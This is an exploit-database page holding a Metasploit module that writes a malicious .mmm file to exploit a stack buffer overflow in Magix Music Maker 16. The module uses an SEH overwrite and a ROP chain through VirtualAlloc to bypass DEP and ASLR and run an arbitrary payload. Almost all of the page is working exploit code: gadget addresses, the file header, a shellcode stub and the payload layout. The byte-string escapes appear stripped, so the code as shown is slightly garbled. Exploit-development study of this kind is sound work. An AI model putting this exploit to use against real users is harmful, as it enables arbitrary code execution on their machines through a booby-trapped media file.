[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Magix Musik Maker 16 .mmm Stack Buffer Overflow (w/o egg-hunter)
# Published : 2011-05-27
# Author :
# Previous Title : Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow
# Next Title : MJM QuickPlayer 1.00 beta 60a / QuickPlayer 2010 .s3m Stack Buffer Overflow
---
My version of exploit...
Looks like bug the same as in:
http://www.exploit-db.com/exploits/17313/
My exploit does not use egg-hunter, so it must be faster, but i have limited size for payload -
750 bytes 8)
Speed Vs Size...
---
# Title: Magix Musik Maker 16
# EDB-ID: ()
# CVE-ID: ()
# OSVDB-ID: 72455
# Author: Alexey Sintsov
# Published: 2011-05-22
# Verified:
# Download N/A
##
# $Id: musick_maker16.rb 12364 2011-05-03 07:53:58Z aaa $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Musick Maker 16, Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Musick Maker 16
When opening a malicious .MMM file in Music Maker, a stack buffer occurs,
resulting in arbitrary code execution via SEH.
This exploit bypasses DEP & ASLR and works on XP, Vista & Windows 7. LTKRN14n.dll and LTDIS14n.dll used for ROP.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alexey Sintsov',
],
'Version' => '$Revision: 12364 $',
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'BadChars' => "x00",
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets' =>
[
[ '32-bit Windows Universal (Generic DEP & ASLR Bypass)',
{
'Ret' => 0x20012026, # ADD ESP,4F8 # RETN 4
'Size' => 750
}
],
],
'Privileged' => false,
'DisclosureDate' => 'May 02 2011',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.mmm']),
], self.class)
end
def exploit
badchars = target['BadChars']
print_status("Creating '#{datastore['FILENAME']}' file ...")
print_status("Preparing payload")
aaa_header="x52x49x46x46xE6x9Dx06x00x53x45x4Bx44x53x56x49x50"+
"x10x07x00x00x9Bx5Bx6Ex00x00x00x00x00x11x00x00x00"+
"x08x00x00x00x44xACx00x00x11x00x00x00x00x00x00x00"+
"x00x00x39x40x00x00xF0x42x00x00x00x00xBDx04xEFxFE"+
"x00x00x01x00x00x00x10x00x06x00x00x00x00x00x10x00"+
"x06x00x00x00x3Fx00x00x00x28x00x00x00x04x00x04x00"+
"x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
"xF3x8Ex32x01xD0x02x00x00x40x02x00x00x55x55x55x55"+
"x55x55xF5x3Fx10x00x00x00x00x00x00x00xFFxFFxFFxFF"+
"xFFxFFxFFxFF"
aaa_list="x4Cx49x53x54x04x25x02x00x70x68x79x73x66x69x6Cx65xF8x08"
rop_pivot =
[
0x20012026, # ADD ESP,4F8 # RETN 4
].pack("V*")
rop_nop =
[
0x1FF727C6, # RETN
].pack("V*")
rop_jmp =
[
0x2001DD16, # ADD ESP, 40 # RETN
].pack("V*")
rop_gadgets2 =
[
0x1FFFB8D9, # XCHG EAX,EBP # RETN
0x1FF727C5, # POP ECX # RETN // ECX = FFFFFFFF
0xffffffff,
0x20048546, # ADC ECX,EBP # RETN // ECX - saved stack
0x1FFA82EF, # POP EAX # RETN
0x1FFAF154, # ----+ // [EAX+C] will point on VA
0x1FFFB8D9, # XCHG EAX,EBP # RETN // now [EBP+C] will point on VA
0x1FFA817E, # MOV EAX,DWORD PTR SS:[EBP+C] # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0C
0xAAAAAAAA,
0xAAAAAAAA,
0xAAAAAAAA,
0xAAAAAAAA,
0x1FFFB8D9, # XCHG EAX,EBP # RETN
0xBBBBBBBB,
0xBBBBBBBB,
0xBBBBBBBB,
0x1FF72620, # MOV EAX,ECX # POP EBX # RETN
0xAAAAAAAA,
0x1FFFB8D9, # XCHG EAX,EBP # RETN // EBP - saved stack pointer
0x2004A8C1, # CALL EAX # RETN // call VirtAlloc
0x31313131, # // param 1
0x32323232, # // param 2
0x33333333, # // param 3
0x34343434, # // param 4
0x2001215B, # PUSH ESP # RETN 4
].pack("V*")
rop_gadgets =
[
0x1FFFB8D9, # XCHG EAX,EBP # RETN // Pointer in EAX
0x1FF95F45, # PUSH EAX # POP ESI # RETN 8 // Pointer in ESI an EAX
0x1FFA82EF, # POP EAX # RETN
0x11111111, # ^
0x22222222, # |
0xFFFFFc74, # ---+
0x200263f5, # NEG EAX # RETN // EAX = OFFSET
0x1FF74212, # ADD EAX,ESI # POP ESI # RETN // pointer in stack on our HEAP
0x33333333,
0x1FF939F2, # MOV EAX,DWORD PTR DS:[EAX+90] # RETN 4// EAX -> POINTER+OFFSET --- here are our params in HEAP
0x1FF95F45, # PUSH EAX # POP ESI # RETN 8 // EAX and ESI = POINTER+OFFSET --- here are our params in HEAP
0x44444444,
0x1FFFB8D9, # XCHG EAX,EBP # RETN // EBP = Pointer as param 1
0x44444444,
0x55555555,
0x1FF727C5, # POP ECX # RETN // ECX = ffffff10
0xffffff10,
0x20048546, # ADC ECX,EBP # RETN // ECX = Pointer on stack - as param 1
0x2003C7AD, # MOV EAX,ESI # POP ESI # RETN // EAX=PARAMS POINTER
0x66666666,
0x1FF95F45, # PUSH EAX # POP ESI # RETN 8 // resave in ESI
0x1FF891C4, # MOV DWORD PTR DS:[EAX+4],ECX # RETN // WRITE PARAM 1 - pointer on stack
0x77777777,
0x88888888,
0x1FFA883A, # XOR EAX,EAX # RETN
0x1FF7519F, # ADD AL,40 # RETN // EAX=40
0x1FFFB8D9, # XCHG EAX,EBP # RETN // EBP = 40
0x1FF727C5, # POP ECX # RETN // ECX = ffffffd0
0xffffffd0,
0x20048546, # ADC ECX,EBP # RETN // ECX = 10
0x2003C7AD, # MOV EAX,ESI # POP ESI # RETN // EAX=PARAMS POINTER
0x99999999,
0x1FF95F45, # PUSH EAX # POP ESI # RETN 8 // resave in ESI
0x1FF9EAF7, # MOV DWORD PTR DS:[EAX+8],ECX # RETN // WRITE PARAM 2 - size(10)
0xaaaaaaaa,
0xbbbbbbbb,
0x1FFA82EF, # POP EAX # RETN // EAX = FFFFEFFF
0xffffefff,
0x200263f5, # NEG EAX # RETN // EAX=1001 (cos 1000 with null bytes)
0x1FFA0231, # DEC EAX # RETN // EAX=1000
0x1FFFB8D9, # XCHG EAX,EBP # RETN // EBP = 1000
0x1FF727C5, # POP ECX # RETN // ECX = FFFFFFFF
0xffffffff,
0x20048546, # ADC ECX,EBP # RETN // ECX = 1000 - MEM_COMMIT
0x2003C7AD, # MOV EAX,ESI # POP ESI # RETN // EAX=PARAMS POINTER
0xcccccccc,
0x1FF751A0, # INC EAX # RETN
0x1FF751A0, # INC EAX # RETN
0x1FF751A0, # INC EAX # RETN
0x1FF751A0, # INC EAX # RETN
0x1FF751A0, # INC EAX # RETN
0x1FF751A0, # INC EAX # RETN
0x1FF751A0, # INC EAX # RETN
0x1FF751A0, # INC EAX # RETN
0x1FF95F45, # PUSH EAX # POP ESI # RETN 8 // resave in ESI
0x1FF891C4, # MOV DWORD PTR DS:[EAX+4],ECX # RETN // WRITE PARAM 3 - MEM_COMMIT
0xdddddddd,
0xdddddddd,
0x1FF727C5, # POP ECX # RETN // ECX = ffffffFF
0xffffffff,
0x20033FB9, # INC ECX # ADD AL,3 # RETN // ECX=0
0x1FFA883A, # XOR EAX,EAX # RETN
0x1FF7519F, # ADD AL,40 # RETN // EAX=40
0x1FFFB8D9, # XCHG EAX,EBP # RETN // EBP = 40
0x20048546, # ADC ECX,EBP # RETN // ECX = 40
0x2003C7AD, # MOV EAX,ESI # POP ESI # RETN // EAX=PARAMS POINTER
0xeeeeeeee,
0x1FF9EAF7, # MOV DWORD PTR DS:[EAX+8],ECX # RETN // WRITE PARAM 4 - WRITE_EXECUTE
0x1FF727C5, # POP ECX # RETN
0xFFFFFFAC, # -84 -^
0x1FF75190, # ADD EAX,ECX # RETN EAX=EAX-84
0x2004387F, # XCHG EAX,ESP # RETN // New stack pointer in HEAP-------->rop_gadgets2
].pack("V*")
#Jump to shellcode
shell_jmp="x87xe5"+ # XCHG ESP, EBP <---- take back stack pointer
"x33xc0"+ # XOR EAX, EAX
"x04x40"+ # ADD AL, 40
"x50"+ # PUSH EAX
"x33xc0"+ # XOR EAX, EAX
"xb4x10"+ # MOV AH, 10
"x50"+ # PUSH EAX
"x8bxc5"+ # MOV EAX, EBP
"x33xc9"+ # XOR ECX,ECX
"xb5x05"+ # MOV CH, 5
"xb1xee"+ # MOV CL, EE
"x2bxc1"+ # SUB EAX, ECX <--- block with shellcode
"x51"+ # PUSH ECX
"x50"+ # PUSH EAX
"x8bxf8"+ # MOV EDI, EAX
"xb9x60xf1xfax1f"+ # MOV ECX, 1FFAF160
"xffx11"+ # CALL [ECX] -> call kenrnel32.VirtualAlloc(shellcode,0x826,MEM_COMMIT,READWRITE_EXECUTE)
"xffxe7" # JMP EDI -> JMP shellcode
pivot = [target.ret].pack('V')
shellcode=payload.encoded
nops = make_nops(8)
aaa_data = aaa_header
aaa_data << "x00"*1680
aaa_data << aaa_list
aaa_data << "x00"*25
#### This will be in heap, not in the stack
aaa_data << "C:\aaa\"
aaa_data << shellcode # 7. Shellcode run
aaa_data << "a"*(target['Size']-shellcode.length)
aaa_data << "a"*328
aaa_data << "x00"*16
aaa_data << "x"*320
aaa_data << rop_gadgets2 # 4. call VirtualAlloc, jmp to ESP (5.)
aaa_data << shell_jmp # 5. call VA again and JMP to shellcode (6.)
aaa_data << "a"*61
#### And this will be in stack!
aaa_data << rop_jmp*32 # 2. After satck pivot, jump to (3.)
aaa_data << "a"*16
aaa_data << [target.ret].pack('V') # 1. SEH rewrite -> ADD ESP, xxx and we are in (2.)
aaa_data << rop_nop*10 # 3. ROP-NOP
aaa_data << rop_gadgets # 4. ROP programm, calc in HEAP and make new stack (4.)
aaa_data << "a"*31337 # truncated
print_status("Writing payload to file, " + aaa_data.length.to_s()+" bytes")
if shellcode.length>target['Size']
print_status("ERROR, too big payload!")
else
file_create(aaa_data)
end
end
end